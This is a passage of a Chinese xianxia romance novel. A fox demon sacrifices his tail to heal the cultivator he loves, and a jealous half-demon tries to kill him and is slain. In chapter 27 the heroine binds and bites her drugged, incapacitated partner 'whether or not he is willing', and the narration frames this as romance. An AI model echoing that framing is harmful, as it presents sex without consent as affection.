既白手握紧成拳,心中的抽痛让他呼吸不畅,他自虐般的用力咬唇,本就无血色的唇上留下深深一道痕迹,深吸一口气,缓缓推开门。
一眼就看见了床榻上脸色苍白,毫无生气的祝余。
心中又是一阵抽痛,为什么受伤的是祝祝,而不是他。
他多希望躺在床上不醒的人,不是祝祝,而是他。
既白快步走近,坐在床边,手握住她僵硬无知觉的手,声音里是浓浓的哭腔,“祝祝,你不会有事的,对不对?”
脑海中闪过以往她笑意盈盈的模样,眼前了无生气的样子,是如此的刺眼,刺的他眼眸生疼。
既白沉默枯坐着,视线落在祝余脸上,双眼一眨不眨,眼睛因为长时间未得到休息,眼里已有了丝丝红血丝。
他像是失去操控的提线木偶,失魂落魄,只有眼前人才能让他重获新生。
咯吱——
听到身后的开门声,既白混沌的大脑有了反应,他微微偏头,见来人是时灵兮,死气沉沉的眼眸瞬间迸发出一抹亮光。
“师姐,祝祝是不是有救了。”声音格外的沙哑。
在他满怀希望的眼眸下,时灵兮有几分不忍说出真相,踌躇过后,她缓缓摇头,“还在寻找。”
眼中的光一寸一寸熄灭,他无助看向祝余,祝祝我该怎么办?
失去希望的他,又重新成为提线木偶的模样。
时灵兮叹息一声,悄然离开。
祝余身上僵硬的部位越来越多,若再找不到解毒方法,将无力回天。
既白也在此时想起了,曾在万妖山看过的壁画,他茫然低下头,自己会是黎山狐族吗?
他看了祝余一眼,只见她好看的眉眼间充满死气,已做出决定,是不是,只有尝试了才会知道。
既白闭眼,身上一阵流光闪烁,三条毛茸茸的狐狸尾巴出现在他身后。
他睁眼,眼中的红血丝更多,既白低头看了一眼自己尾巴,手拿起祝余的金麟剑。
“祝祝,不要有事。”
他一手拿剑,一手抓着狐狸尾巴,咬牙,用剑开始割自己的狐狸尾巴。
金麟剑极为锋利,一下子就见了血,既白疼的忍不住闷哼出声。
他倒吸了一口凉气,将目光落在祝余脸上,忍着疼痛,再度下定决心,动手断尾巴。
既白疼的冷汗连连,双眼开始发虚,眼前莫名出现一副画面,昏暗的地牢里他手脚被铁链锁住,也有一人拿着刀,如他一般,用刀在断自己的狐狸尾巴。
痛彻心扉的疼痛,透过画面传来,□□在痛,灵魂也在痛。
既白白了脸,本就苍白的唇上再无任何血色,双重的疼痛,让他分不清自己到底身处何处。
他茫然张开眼,轻喘着气,涣散的目光在看到祝余时,又有了焦点。
狠下心,手中一个用力,锋利剑刃划过,“唔~”一条漂亮的狐狸尾巴带着红色的血色,落在他手中。
既白强忍着身体里的反噬,无师自通的运起微弱的灵力,一团温和的白光笼罩住狐狸尾巴。
额头细汗凝聚成滴滑落,既白死咬牙关,不知持续了多久,手中的白光突然光芒四射。
白光散去,一颗比水滴稍大的小水球飘浮在空中,圈圈纯粹的灵力在周围泛起涟漪。
既白撑着最后一丝力气,将小水球给祝余服下,再也撑不住的他,显出狐狸原形。
一团小白狐狸,虚弱的依偎在祝余身侧,闭眼前,既白只有一个想法,祝祝一定不能有事。
祝余身体里,一股灵力四处游荡,温和白光包围住祝余,许久,白光散去。
祝余猛地睁开了眼睛,她感觉自己要突破了
一侧目,祝余看到了身侧的小白狐狸,瞳孔微缩,小白狐狸脖
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子间还带着她送的长命锁,她一眼看到,三条毛茸茸的狐狸尾巴,如今仅有两条。
祝余低头,看向自己手心,她握拳,便感受到了身体里冲撞的丰盈灵力。
祝余立即明白发生了什么,脸色极为难看,她一直在保护他,到头来,他竟是为了她受伤。
屋外雷声冷不丁的发出轰隆声,是她的雷劫,祝余心中纵有万千想法,但也知晓轻缓。
既白现在极为虚弱,她不能在此渡雷劫,想也不想,她立即起身,朝别的山头飞去。
雷劫声势浩大,听到此动静的弟子,顾不上手中在忙的事,纷纷跑出来观看。
在看到渡雷劫的人是祝余时,顿时面面相觑,纷纷抬手揉眼睛,怀疑自己看错了。
毕竟同处一宗,祝余身受重伤的事,他们也有所耳闻。
时灵兮正在翻找古籍,在听到雷劫的动静时,手一挥,窗户自动打开,她一眼看到了雷劫之下的祝余。
时灵兮疑惑了,师妹不是重伤在床,性命危在旦夕吗?她在这里为师妹翻尽古籍,师妹却在渡雷劫?
心中有大多疑惑,但眼下雷劫的事,更为重要,时灵兮飞身出屋,来到祝余渡劫的山头,为她护法。
有时灵兮在,祝余渡劫很成功,轰鸣雷声散去,她的身影出现。
时灵兮上前,笑着道:“师妹,恭喜!”
她知师妹上一刻重伤在床,下一刻却突破渡劫,定然是得了机缘。
修缘对于修士向来重要,并没有开口问。
“多谢师姐。”
祝余感受着自己元婴期的修为,眼中若有所思,在雷劫之下时,若不是她的有意压制,修为还能继续突破。
壁画所言是真的,既白真的是黎山狐族,想到既白失去的尾巴,眼中闪过一抹担忧,也不知既白狐尾的秘密是否暴露。
若那人已经知晓,想来是不会放过既白的。
祝余眼中忧虑更深。
告别师姐,祝余迫不及待回到既白身边,刚推开门,一眼便看到床榻上缩成一团的小白狐狸。
祝余怀揣着沉重的心情,一步一步缓缓走来,坐下,心疼的将狐狸轻轻抱在怀里,手轻柔抚摸着他柔顺的皮毛,感受到他的虚弱,顿时心生自责。
明明想着要保护他的,到头来,他却因她伤的最重。
“对不起。”她的声音轻如风。
既白因为虚弱,已陷入沉睡,她将怀中狐狸抱紧,呢喃低语,“既白,我该怎么办?”
害怕与无力感携裹住她,祝余心中一阵恐慌。
数日过去,既白仍在沉睡,狐狸在祝余怀中,小小的一团,仿佛只是睡着了,她眼中的担忧却与日俱增。
祝余寻来很多灵草灵药,想了很多办法,试图帮助他,但却一无所获。
月夜下,祝余抱着狐狸,来到曾经一起看星星的地方,她一个人的身影在月色下显得寂寥。
好看的眼中满是哀伤,周身弥漫着悲伤气氛,她手心轻抚过他漂亮的皮毛,带着哀求,低声细语,“快些醒来,好不好?”
风起,她的细语被风吹散。
26. 苏醒
次日,或许是上苍听到了祝余的祈求,昏睡多日的狐狸在她怀中缓慢睁开了眼。
狐狸眼半睁,显然还很虚弱。
祝余在第一时间发现,看向他的眼眸微微湿润,连日的提心吊胆,在此刻终于能歇息,她低头看着他,轻唤,“既白,你醒了。”
既白狐狸眼无力耷拉着,很想回应她,身体却虚弱的使不出一丝力,他只能放弃,改为用脑袋轻蹭她,示意自己没事,让她别担心。
祝余看出他所要表达的意思,心疼如丝丝缕缕的藤蔓疯狂生长,紧揪着她的心,手心轻轻摩挲着狐耳,“嗯,我知道了。”
怎么可能不担心,既白是因为她才如此,可她也不想既白看出她的担忧。
既白清醒的时间很短,祝余陪了他一会儿,便又重新陷入沉睡中。
祝余摸摸她的头,又拿起手边的书,继续看起来。
这些书,都是她托师姐找来的,书籍涉猎广泛,包罗万象,只希望能在书中找到可以帮助他的办法。
又放下一本书,祝余心情略为烦躁,她阅尽一本本书,却一无所获,面对既白的伤依然无能为力。
祝余往后一仰,倒在床上,将既白抱在怀中,手心抚摸着他柔软的皮肤,烦躁的心情才平复。
她静静看着怀里的小狐狸,狐狸闭着眼,安静又乖巧,她随意捏他的耳朵尾巴,都没有反应。
祝余在狐狸额头轻吻一下,心中万般惆怅,还是会脸红的狐狸更可爱。
接下来的时日,既白清醒的时间逐渐变长,但依旧无法恢复人身,祝余又找来很多书籍,看了很多书,依然没有头绪。
正当她想着,要不要再去一趟千机山时,屋门被人敲响。
“咚—咚咚——”
祝余将怀中的狐狸放到床上,上前开门,看到来人,她不免惊讶,“杜若师妹。”
想到她曾帮过自己,便又道:“杜若师妹可是有事需要我帮忙?我必定竭尽全力。”
“祝师姐误会了。”杜若连连摆手,不好意思道:“我是为别的事情而来。”
祝余想了一番,没想到,开口道:“师妹请讲。”
杜若从怀里拿出一本书,脸上有几分害羞,将书递给她,“师姐,我想你可能需要。”
祝余接过,书面呈土黄色,上面并未有字,虽不知何书,但她相信杜若师妹不会有恶意,开口道谢,“多谢杜若师妹。”
杜若红着脸摆手,“祝师姐不用客气,能帮到师姐就好。”
杜若转身,眼神激动,心中美滋滋的,又跟师姐说上话了,师姐人真好,她希望自己有朝一日也能像她这般厉害。
送别杜若师妹,祝余拿着书回到屋中,慢慢翻看起来,书中多记载一些民间的奇闻异事,似乎别无特别之处。
但祝余想到,杜若师妹这么做一定有道理,又耐着性子看下去。
手指翻过书页,她目光落在下一页,翻页的手顿住了,眼神一变,仔仔细细研读起来。
读完最后一页,祝余合上书,心思千回百转,书上说,曾有一个村民上山砍树,在山上发现了一颗很神奇的树,风起时树叶如玉石碰撞般,发出好听的声音,声声引人入胜,故取名为风声木。
书上还说,那人站在树下,听着风声木发出的声音,身上有一种很舒服的感觉,仿佛置身云端灵魂得到了升华。
那人回去后,惊奇的与周围人诉说,但周围人都不相信,以为他是喝多了。
那人为向众人证明,自己说的是真话,又原路返回寻找,但当他再回去时,风声木如昙花一现,早已不见踪影。
仿佛先前那一幕,只是臆想。
记载到这里戛然而止。
祝余放下书,眼中若有所思,风声木与灵魂挂钩,而既白神魂受损,若是能找到风声木,说不定会有希望。
但风声木到底是书中记载的东西,此前从未有人知晓。
但世界历经万千岁月,世人不知的岂止风声木,真与假,只有去找了,才会知晓答案。
祝余当即做出决定,她要去找风声木。
——
一个月后,祝余来到青木城。
青木城便是书中记载的,出现过风声木的地方。
祝余容貌出众,怀中又抱着一只白毛狐狸,走在青木城的街道上,格外引人注目,道道好奇的目光不停打量着她。
祝余皱眉,一道隐藏在暗处的目光让她很是不适,她当即显露出自己的修为。
元婴期的修为一出,周围人噤若寒蝉,再无人敢盯着她看。
暗处,一名男子惊魂不定的拍着胸口,“好险,差点就忍不住出手了。”
男子眼下发黑,双眼凹陷,一副被酒色掏空的样子。
他惋惜的咂咂嘴,眼中闪过痴迷,如此绝色,可惜是个厉害的。
青木城周边,重山众多,祝余行走在街头,打算先找间客栈住下,再慢慢寻找。
行走几步,突闻路边挥动鞭子的声音,祝余定睛望去,只见一个中年男子正挥动着手中的鞭子,毫不留情的抽打着趴在地上的人。
地上的人浑身是血,头上有狐耳,身后有一条尾巴,和既白甚为相象的外形,让祝余多看了一眼,顿时明了,原来是半妖。
半妖是人族与妖族结合后的后代,半妖既有人的特征又有妖的特征,大多数半妖都无修行能力,在人间和妖族都会遭受排挤,生存极为不易。
祝余低头,眉眼柔和的看向怀里睡得正香的狐狸,心里生出几分恻隐之心,那便帮他一把吧。
双玉双眼黯淡,心如死灰的趴在地上,默默承受着身后的毒打,他只是想活着,为何如此艰难,倒不如就这样死了也好。
反正也不会有人在乎一个半妖的死活。
祝余出剑,击飞打人的长鞭,冷声问道:“他犯了什么错?”
中年男子见她周身气质斐然,手中的长剑在阳光的照射下,更是泛着涔涔冷光,腿立即一软,害怕的缩了缩头,结结巴巴道:“他,他偷我包子。”
祝余拿出一块灵石,递给他,“可够了?”
“够了够了。”中年男子双手献媚接过,疯狂点头,这块
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灵石够买他二十年的包子了。
双玉正心如死灰的等待死亡的到来,却不想打在她身上的鞭子停止了,他听到了一道好听的声音。
他眨开眼,看到了如仙子般的人物,意识到仙子正在帮他,早已如死灰般的心疯狂跳动起来。
中年男子拿了灵石,早已离去,祝余低头看了一眼浑身是血的半妖,也转身离开。
她能做的,仅有此。
双玉挣扎着从地上坐起,安静看着离去的背影,垂眸,不知在想什么,过了几秒,他站起身,眼神坚定的望向祝余离去的方向。
第二日一早,祝余抱着既白出了客栈,没走多远,便发现有人在跟着她。
祝余不悦皱眉,当作没发现,在路过一个胡同时,一个转身进了胡同。
她斜靠在墙壁上,手心摸着既白柔软的毛,极有耐心的等着来人。
双玉在客栈外等了一夜,见救命恩人出现,立即跟在了后面,见救命恩人在拐角处消失,他想也不想的跑着追上前。
一进胡同,昨日救他的那把长剑,正指着他,双玉松了口气,还好没跟丢,很快又反应过来,自己被发现。
见是她,祝余皱了皱眉,收了长剑,“为何跟着我?”
双玉手足无措的低下了头,耳朵不好意思的红了,“你,你救了我。”
祝余明白了他的意思,冷漠道:“我不需要你的报答,别跟着我。”
说完冷漠转身。
双玉失落的看着她离去的背影,心中纠结半天,还是再度跟了上去。
祝余自然发现了,但并有再管的心思,没有什么事能比她的既白重要。
她飞身朝城外的山头飞去。
双玉自然跟不上,他低落的站在祝余离开的地方,眼中神色莫名。
他蹲守在城门口,傍晚时分,见祝余余回来了,心里松了口气。
他远远看着祝余的背影,眼神炙热,既然救了我就别想丢下我。
一连几日,双玉都守在客栈,祝余出客栈,他就跟上,跟不上,他就蹲在城门。
祝余被他的行为烦到,这日,一出客栈,就走到双玉跟前。
双玉正如往常一般蹲守在墙角,见她朝自己走,心不由得怦怦乱跳。
祝余站定,冷漠开口,“我不想救个麻烦,别在跟着我了。”
双玉正在跳动的心突然一窒,脸色发白,低下了头,“我……”
祝余救他本就是因为既白,完全没有心情听他说什么,转身就要走。
双玉看着她离去的背影,心一横,不管不顾的大声道:“我没有去处。”
祝余停下了离开的脚步,心中后悔,如此麻烦,早知道就不救了。
见她停下,双玉眼中升出一抹期待,他小声询问,“我,我可不可以跟着你?”
“不可以。”祝余毫不留情的拒绝。
双玉脸色白了又白,既然如此无情,当日为何要救他?
双玉咬着唇,眼底很是不甘。
她怀里的狐狸都可以跟着她,为什么他不可以?
27. 意乱情迷
祝余虽拒绝了他,但走时还是给了他几块灵石。
“去哪里都行,别跟着我。”她的声音冷漠,转身离去的清冷背影是如此高不可攀。
双玉咬着唇,心像是被一双无形的大手握住,让他呼吸倍感困难。
他突然很羡慕她怀中的狐狸,能被她一直抱着,一定很幸福。
祝余今日不打算出城,一连找了多日,仍未有发现,想着可能是自己去的时间不对,便打算等入夜后再去。
人来人往的街头,她抱着既白随意行走着,买了几样他爱吃的食物,便回了客栈。
她刚推开门,打算进屋,旁边房间的门却突然打开。
“仙,仙子。”
祝余转头,见又是那只半妖,不悦蹙眉,她三番两次的重申别再跟着她。
半妖却跟听不懂一样,因为既白而对他产生的那点怜悯之心,在一次次的被打扰中彻底消亡殆尽。
双玉十分紧张,在她面前很是坐立不安,他今日洗去了身上的血污,又换了一身好看的衣服。
双玉对自己的容貌很自信,过去他曾遭到不少人的觊觎,所以才将自己的脸弄的黑乎乎的,但对面的人如神仙一般,他突然没了自信。
想起曾无意中听别人提起过,有的修士就喜欢玩弄半妖,双玉面色通红,羞怯的低下了头,如果对象是她,那他愿意。
祝余面无表情的扫了他一眼,没做任何停留的进屋,关门。
心里想着,要不换一家客栈吧。
双玉面对关闭的房门,极为不甘,唇瓣紧抿着,死死盯着紧闭的门,眼神偏执,他是不会放弃的。
回到屋中,祝余将刚才的事抛之脑后,抱着既白坐到窗边,感受着窗外的微风,纤长手指一下又一下的顺着狐狸毛,静等他醒来。
太阳落山时分,怀里的小狐狸眼皮轻颤,慢慢睁开了眼,入眼便是祝余放大的脸庞。
既白微微抬头,用自己柔软的毛去蹭她侧脸。
祝余眉眼带笑,享受够了他的亲昵,不舍的退开半分距离。
“饿不饿?”
蓝色的狐狸眼格外的漂亮,眼眸睁大,渴望的看着她,用力的点头,他好饿。
祝余将白日买的吃的尽数摊开在桌上,问他,“要吃什么?”
白色的狐狸爪爪,毫不犹豫的指向散发着诱人香味的烧鸡。
祝余扯下鸡腿,在他眼前晃荡,小狐狸馋的口水都要流出来了,狐狸眼目不转睛的盯着,迫不及待的伸出爪爪,她及时扬手,小狐狸扑了个空。
蓝色狐狸眼哀怨的看向她。
祝余轻笑一声,“我喂你。”
一人一狐画面格外温馨。
才吃下一半,既白就用爪爪捂住嘴摇头,示意自己吃不下了。
祝余看了一眼桌上还剩很多的食物,心中一酸,以前他都能吃完的,如今却……
祝余扭头,向窗外看去,已入夜,月亮正高悬于夜空,她抱起狐狸,起身飞出,往城外的重山而去。
今夜去的是青木山,夜晚的山林,格外的静谧,皎洁月色透过林中枝叶漏下,斑驳成影。
祝余行走在林中,踩到地上的枯枝落叶,发出“咔嚓”声,夜晚的静谧被打破,惊起林中一群飞鸟。
感觉到怀中的小狐狸在动,祝余停下脚步,低头,柔声询问,“怎么了?”
既白探出爪爪,指了指地上,示意要自己走,祝祝抱了他那么久,他都快忘了要怎么走路了。
祝余思索一番,在确定了周围没有危险后,将他放到地上,让他自己走。
这段时间来,既白大多数时间,都在沉睡中渡过,如今得到了自由,肆意的在林中奔跑着,不时嗅嗅花看看树,好不快乐。
祝余眼中含笑,不远不近的保持着距离,跟了他一会,确认他自己可以,便开始寻找风声木。
不是,都不是,连日的失败,祝余不免泄气,她开始怀疑,书上所言真的只是杜撰,风声木也许并不存在。
她深深吐出一口气,心乱如麻,既白的伤该如何是好?
想到既白,她的视线立马去寻找他,只见小狐狸走路姿势十分怪异,歪歪扭扭的像是喝醉了一般。
担心他受伤,祝余立即走近,将他抱起,手指翻开他身上的毛,仔细寻找他有没有受伤。
祝余翻找一番,并未发现伤口,心稍安,狐狸在她怀里不安分的乱动,头一个劲的往她怀里钻,祝余用巧力将他固定住,眼含担忧,“怎么了?”
狐狸像是没听到她的话,自顾自伸出舌头舔了舔她的手指,狐狸粉色的舌头与手指相触及,湿热感传来,心弦一震,祝余一时忘了思考,束缚着他的力道下意识松了。
一道光芒闪过,狐狸以人身姿态出现,头上是软萌的狐耳,身后的两条狐狸尾巴,勾在了祝余腰间。
祝余视线落在他脸上,只见他双眸微眯,透着迷茫,呼吸灼热,如玉的脸上泛起好看的粉色,粉色一路蔓延向下,隐入他衣领下。
祝余呼吸一热,很想解开他衣服,想知道衣服下隐藏的春色是否也是粉色。
祝余此刻也反应过来,他应该是吸入了含有催情成分的花香,按理来说,这种低阶的花香,对他应该造不成影响,但他现如今正虚弱,这才无法抵抗。
“祝祝,我难受。”既白手勾住她脖子,双眼迷蒙,委委屈屈的向她诉说。
祝余俯身,安抚的亲了亲他侧脸,轻声道:“嗯,我知道,我带你去找大夫。”
既白双手却死死勾住她脖子,不让她起身,将自己透着粉色的白皙脖子,暴露在她视野下。
“祝祝,还要。”
此言一出,祝余落在他脖颈间本就幽深的眼神,又深了几分,眼底深处的炙热快要隐藏不住。
“你确定?”她哑声询问。
既白迷迷糊糊的,什么也想不明白,脑海中只有一个想法,想要祝祝亲亲他。
可祝祝为什么还不亲他,他等的有些难受,手勾住她,自己亲了上去。
两唇相贴,一人冰凉,一人火热,既白毫无章法的胡乱亲着,却怎么也没有祝祝亲他时舒服。
他哀求出声,“祝祝,帮我。”
祝余一直在看他,眼神如深不见底的深海,深处仿佛藏着什么危险东西,听
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到他的话,她动了动唇,低应道:“好。”
祝余稳稳抱起他,气息凌乱,飞快朝先前发现的一处山洞而去。
山洞漆黑,仅有一缕浅淡月光借着洞口照进来,为这迷乱的夜晚,更添几分暧昧。
祝余手扣住他下巴,毫不客气的倾身而上,喘息声在安静的山洞中被无限放大,几经蹂躏,粉色的唇颜色更深,红润饱满,上面有着水光,在朦胧月色下诱人采撷。
既白仰着头,微微张唇,喘息着,淡粉色的舌头,若隐若现。
祝余看得眼热,忍不住又俯身亲了亲他。
“祝祝,难受,帮我。”既白声音里有了哭腔,显然是难受极了。
“好。”
祝余抬手解下他腰间的腰带,眼中闪过一抹诡异的光,她抓住既白的双手,将他手举过头顶,再用解下来的腰带绑住。
祝余自小就知道自己的爱好与平常人不一样,不管既白愿不愿意,如今,他跑不了。
祝余拉下他的衣领,指尖摸了摸他锁骨,用力咬了上去。
“祝祝,疼。”既白疼的小声啜泣,想伸手去推她,却因为手被她提前绑住,而无法动作,只能委屈哭泣。
直至尝到血气,祝余才松口,漂亮的锁骨上留下一个极为醒目的牙印,像是一个记号。
牙齿刺破他白皙的肌肤,牙印上渗出小颗小颗血珠,看起来漂亮极了。
祝余极为满意自己的杰作,她俯身,温柔舔去渗出的血珠。
“乖,很快就不疼了。”
在她一下一下的安抚下,既白的啜泣声小了许多,情欲重新覆上他的脸。
见他不哭了,祝余手继续往下。
最后关头,祝余轻吻落在他耳边,低语撩人,“记住是我。”
一夜缠绵,东方破晓之际,祝余抱着睡过去的既白,迎着晨光,赶回客栈。
她小心翼翼的将既白放到床上,为他掖好被子,爱怜的摸了摸他的脸,柔情似水道:“好好休息。”
祝余坐在一旁,默默看着他,晨光从窗户照起来,柔和曦光洒到二人身上,构成一幅极美的画面。
门却突然响了。
“咚—咚咚——”
祝余不悦皱眉,很是不喜被打扰。
她烦躁的打开门。
门外,双玉提着一盒糕点,不好意思的看着她,“你救了我,我无以为报,这盒糕点还请你收下。”
祝余脸上冷漠不变,直言,“我已辟谷,不吃凡间杂食。”
说完就要关门。
双玉连忙用手拦住,急急说道:“可,可这是我亲手做的。”
“你尝一尝,好不好。”双玉哀求的看着她,眼里含了太多杂质。
祝余无言,他亲手做的她就一定要尝吗?
她想到了既白,既白的眼睛澄澈干净,果然还是既白的眼睛最为好看。
见她出神,双玉以为她同意了,急急拿出一块糕点递给她,“给。”
祝余看也不看,直接关了门。
手中糕点落地,双玉脸色难看,眼中神色变了又变,到底要如何才能让你看到我。
28. 既白受伤
祝余走回到床榻边时,既白不知何时又变回了狐狸模样,整只狐狸卷成小小一团,甚是可爱。
眼中柔情似水,唇角的笑意就没落下过,她就这么坐着看了他一天,也不觉无聊。
不知不觉间,天黑了,大约是昨夜太过劳累,既白呼吸沉沉,还在睡。
祝余伸手为他盖好被子,俯身在他额头轻轻落下一吻,心满意足的笑了笑,“等我回来。”
既白累了,那今夜便就她一个人去吧。
祝余关好门窗,又仔细检查了一番,确认没有遗落,这才往外走去。
隔壁房间里,双玉一直坐在屋中听她的动静,知晓是她离开了。
他又等了一会,确认祝余不会再回来了,他起身出屋,来到祝余所在的屋子。
双玉心中紧张,手一直在抖,他是来自荐枕席的,仙子实在出众,他不愿放过如此好的机会,只要得到她的认可,有她的保护,以后就没人敢再欺负他。
想到此,双玉忐忑不安的心瞬间坚定,他一点都不想再过上以前的日子。
双玉想起白日里学的伺候人的手段,脸不好意思的红了几分,眼中自信,只要仙子见过他的身体,就一定不会拒绝他。
双玉下定决心,不再犹豫,手上一个用力推开了门,他边走边解衣服,走到床边时,看到床上的狐狸,有些惊愕,往日里,她抱着狐狸寸不离身,今日仙子竟没带他。
双玉目光嫉妒,他跟踪她多日,当然知道她对这只狐狸有对好。
想着想着,他心中生起一股阴暗想法,若是这只狐狸没了,她是不是就能看到他了,想到她把对狐狸的好,全给自己。
双玉越想越激动,脸上都泛起不正常的红,床上的是只狐狸,他也是只狐狸,而且他所能做的更多,他完全自信,自己能替代这只狐狸。
眼中闪过一抹阴测测的暗光,他毫不犹豫的将手伸伸向了既白。
似乎是察觉到陌生的气息,既白猛地睁开了眼,看到眼前人有和他一样的狐耳狐尾,既白惊奇,这是他的同类吗?
他眼睛看了一圈,没看到祝余,心中疑惑,祝祝呢?
见他醒了,双玉并没有停止手上的动作,怕他觉察出自己的意图从而逃跑,亦或是惊动其他人,他换上了和善的笑,对着他说道:“我带你去找你主人好不好?”
既白不明所以的看着他,主人?是说祝祝吗?应该是的吧,想了想,他点头。
双玉笑着将他抱进怀里,心中暗自嗤笑,真傻,想起自己悲惨的过往,他心中越发不平,眼神也格外阴鸷,这么傻的东西,就不该存活于世。
凭什么,他为了活着,要历经坎坷,而他什么都不用做。
双玉眼中的嫉妒快要化为实质。
双玉早已摸清祝余的行踪,要避开她,自然不是难事,他带着既白去了祝余第一日就去过的山头。
——
深夜的山林里,微凉的夜风吹过,树影摇曳,祝余漫无目的的行走在其中。
她低低叹息一声,习惯了既白在身边,如今他突然不在,还真是不习惯。
祝余坦然承认,她想既白了。
目光在林中转了几圈,依旧不见风声木的踪影,她停下脚步,想了片刻,蓦然转身,不急于一刻,现在,她更想抱抱既白,摸摸他柔软的毛。
也不知他醒了没有。
若是醒了,醒来不见她,可会找她,思及此,祝余回去的脚步更快了些。
不一会,祝余就回到了客栈,一推开门,就知晓定是有人进来过,她三两步来到床上,既白早已没了身影。
祝余脸色难看,实在想不通会是谁掳走既白,她来青木城的事只有师姐知晓,师姐自然不会透露她的消息,她在青木城也并无仇怨。
正因此,她才敢将既白留在此,没想到千算万算,既白还是出事了。
至于双玉,她从始至终都没放在心上,自然也不会记得此人。
祝余想到长命锁,连忙掐诀,一只流光飞出,她无比庆幸此前准备了一手。
跟着流光,祝余很快找到既白所在的山,金麟剑在握,她的表情凝重,不论是谁带走了既白,她都不会放过。
双玉带着既白走了许久,在一个空旷地方停了下来。
既白眨着眼,到处看了看,四周都是石头,没有看到祝祝。
他狐疑的抬头。
双玉冷笑一声,双手将手中狐狸高高举起,既白察觉到不对劲,不停的在挣扎着,想要从他手中逃跑。
“去死吧。”双玉不给他机会,用力将他摔了出去。
“嘭”—声既白摔落在地,扬起一片灰尘,头晕目眩,一抹殷红从嘴角流出,全身都在疼,本就虚弱的身体顿时更加虚弱。
缓了好半天,既白才缓过神来,他不解,他们不是同类吗?他为何要伤害他?
见他还没死,双玉脸上表情狰狞,“倒是个命硬的。”
双玉边说,边朝他走去。
既白挣扎着起身,身上却一阵一阵的疼,每动一动,身上都犹如在被刀割被针扎,忍不住痛苦的小声哀鸣。
他避无可避,双玉已然走到他面前,抓去他,既白龇牙威胁,双玉看了一眼,完全不把他放在眼里。
既白再度被举高,他不停挣扎,下一刻,虚弱的已的他再度被摔了出去。
既白全身都在疼,感觉五脏六腑都在移位,嘴角流出的血也更多了些。
双玉看着他爬不起来的凄惨模样,心里终于有了快意,他放肆的仰天大笑两声,又低头去看他,“以前过的再好又如何,现在还不是要死在我手上。”
长期的痛苦生活,早已让他心理扭曲,在看到他一只不能化形的狐狸都比自己过的好时,他心里只有嫉妒,只有不平,更想摧毁了他。
仙子整日抱着这只狐狸,他本以为自己没有机会,便歇了这份心思,没想到,今夜歪打正着,竟给了他机会。
双玉想到祝余手中的长剑,本有后怕之意,但只要他不说,她怎会知道。
届时她回来,他只要告诉她,是
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狐狸性子野,自己跑出去的。
等她找了以后找不到,死心了,他就能代替这只狐狸彻底留在她身边。
双玉眼神阴冷,从怀里拿出一把匕首,只要杀了他,以后他就能过好日子了。
既白身受重伤,奄奄一息,他想他以后可能再也见不到祝祝了。
双玉扬起匕首,就要朝他的心脏刺去。
祝余赶到时,见的便是既白奄奄一息,半妖要杀既白的场景。
她大声斥道:“住手。”
祝余眼中闪过愤怒,她倒是没想到,那日一时善心救下的半妖,竟会恩将仇报,她后悔,或许当日,她就不该出手。
双玉听到祝余的声音,心中一慌,脸色瞬间发白,她怎么来了,明明以往她都要出去好久。
双玉心乱如麻,如今竟正好被她撞见行凶的场面,他该如何解释才好。
双玉放下手中的匕首,转身,着急忙慌的说道:“你听我解释……”
话还未说完,祝余手中的长剑已贯穿了他的心脏,他不可置信的睁大了眼,红色的血流出,他不甘问道:“为,为什么?”
祝余冷漠抽出长剑,失了支撑的双玉直挺挺倒到地上,他一偏头,就能看到奄奄一息的既白。
祝余眉心紧锁,什么为什么,伤了既白,自然是该拿命来赔。
心情万分沉重的走向既白,唇紧抿,很是自责,她又让他受伤了。
祝余俯身,动作温柔的将既白从地上抱起,手指擦了擦他毛上的血迹,眼中心疼与自责交织,“对不起,我又来迟了。”
熟悉的气息,让奄奄一息的既白,强撑着睁开了眼睛,看见是祝余,他眼中闪过一抹高兴,是祝祝。
一旁的双玉撑着最后一口气,很是不甘,那只狐狸被人疼惜的抱起,而他被抛弃在荒郊野岭。
为什么,上苍从来都不肯眷顾他。
那日,他以为自己要死了,是她手持长剑救下他,给了他希望,如今,却又是她手持长剑,毫不留情的杀了他。
想起自己平生的遭遇,他不甘的问出一句,“那日,为,为什么要救我?”
祝余冷漠转身,连一个眼神都不愿给他,只在意既白,走出几步后,她冷冷道:“再来一次,我绝不会再多管闲事。”
毕竟,没人想救一个白眼狼。
听到她的回答,双玉自嘲一笑,不甘的闭上了眼睛,再来一次,他还是会这么做,但他会更快动手,不会等到她来。
既白抱着浑身是血的狐狸,匆匆赶回客栈,喂他吃下丹药后,身上的伤立即好了不少,又为他清理了血迹,才显得不那么吓人。
祝余心中愧疚,此次祸事皆因她而起,若是当时她不多管闲事,既白便不会受伤。
当她看到他满身是血一动不动时,无人知晓她有多害怕,有多彷徨。
这样的可怕场面,让她刻骨铭心记忆犹新,上次也是这样,初衷是保护他,却总是事与愿违。
祝余低眸,眼中神色莫名,无力感笼罩在她心间。
29. “我会负责的”
海城。
在确认过青木城没有风声木的下落后,祝余便来到了海城。
海城,如其名,临海而居,有风吹拂而过,空气中夹杂着淡淡的咸腥味。
祝余还是不想放弃风声木的下落,毕竟对既白很重要,海城与青木城比邻。
她想着这里说不定会有消息。
毕竟山川历经变化,与书中记载有所不同,也是正常。
两人并肩走在街道上,祝余偏头,目光上下打量着既白,自他醒来后,祝余总感觉他与以往不同。
见她正打量自己,既白狐疑的看了她一眼,“怎么了?”
祝余收回目光,察觉到他没有同往常一般唤她祝祝,眼神闪烁,心中有了猜测。
“没什么?”祝余摇头。
既白垂眸,看起来乖巧又听话,眼中不着痕迹的闪过一抹复杂神色。
“祝祝,我饿了。”他看向她可怜道。
熟悉的称呼,熟悉的表情,一下子打消了祝余心中的想法,也许,只是自己多心了。
祝余摸了摸他的头,眼神温柔,“我带你去吃好吃的。”
——
巷子里,祝余手持长剑,剑尖对准了一个少年,刚入海城没多久,她便发现这人一直在跟着她们。
上次的经历仍历历在目,这次,她绝不允许相同的事再次发生,也不会容许既白在她的眼皮子底下在受伤。
祝余表情冷漠,释放出威压,“为什么跟着我们。”
少年瑟瑟发抖,没想到这两人如此不好惹,看来灵石是无望了,他连忙求饶,“饶了我,饶了我,我什么都说。”
“说。”祝余泛着冷光的长剑,又靠近了几分。
少年瑟缩了下脖子,早知道就不贪财了。
少年的目光看向安静站在边上的既白,“我是看到了悬赏令上的画像,一时鬼迷心窍,才会跟踪你们。”
“求你放过我,我保证不会将见过他的事说出去。”
既白听到他的话,蹙眉,脑海只有看不清的模糊片段,完全想不起,也不记得自己做过什么,更不明白自己为什么会被悬赏。
少年的话,没头没尾,但祝余还是大致猜到了前因后果,既白被悬赏?既白来过海城?
